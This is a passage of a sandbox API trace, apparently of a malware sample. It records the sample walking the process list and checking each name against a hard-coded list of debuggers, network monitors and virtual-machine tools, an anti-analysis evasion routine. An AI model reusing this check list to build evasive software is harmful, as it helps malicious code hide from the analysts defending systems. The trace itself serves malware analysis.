(lpFirst="csrss.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="x32dbg.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxService.exe") returned 0x0 [0247.349] StrStrIA (lpFirst="csrss.exe", lpSrch="Tcpview.exe") returned 0x0 [0247.349] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.350] lstrcmpiA (lpString1="Fiddler.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="samp1e.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="sample.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="runsample.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="lordpe.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="regshot.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="Autoruns.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="dsniff.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="winlogon.exe") returned -1 [0247.350] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="Procmon.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="Procmon64.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="netmon.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="dumpcap.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="Wireshark.exe", lpString2="winlogon.exe") returned 1 [0247.351] lstrcmpiA (lpString1="idaq.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="idaq64.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="winlogon.exe") returned -1 [0247.351] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="winlogon.exe") returned -1 [0247.351] StrStrIA (lpFirst="winlogon.exe", lpSrch="Fiddler.exe") returned 0x0 [0247.351] StrStrIA (lpFirst="winlogon.exe", lpSrch="samp1e.exe") returned 0x0 [0247.351] StrStrIA (lpFirst="winlogon.exe", lpSrch="sample.exe") returned 0x0 [0247.351] StrStrIA (lpFirst="winlogon.exe", lpSrch="runsample.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="lordpe.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="regshot.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="Autoruns.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="dsniff.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="VBoxTray.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="Procmon.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="Procmon64.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="netmon.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="vm3dservice.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="VGAuthService.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="dumpcap.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="Wireshark.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="idaq.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="idaq64.exe") returned 0x0 [0247.352] StrStrIA (lpFirst="winlogon.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0247.353] StrStrIA (lpFirst="winlogon.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0247.353] StrStrIA (lpFirst="winlogon.exe", lpSrch="vmacthlp.exe") returned 0x0 [0247.353] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.354] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.354] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.355] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0247.356] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0247.357] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.358] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.358] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.359] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.360] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.361] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.361] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.362] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.363] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.363] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.364] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.365] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.366] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.366] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.367] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0247.368] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.369] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0247.370] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.371] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0247.371] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0247.372] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0247.373] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0247.374] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0247.375] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0247.375] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0247.376] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0247.377] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0247.378] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0247.379] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0247.380] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0247.380] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0247.381] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0247.382] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0247.383] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0247.385] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0247.386] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0247.386] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0247.387] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0247.388] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0247.389] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0247.390] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0247.390] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0247.391] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0247.392] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0247.393] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0247.394] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0247.395] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0247.396] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0247.397] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0247.399] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0247.400] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0247.402] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0247.403] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0247.404] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0247.405] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0247.407] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0247.408] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0247.409] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0247.411] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0247.412] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0247.413] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0247.414] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0247.416] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 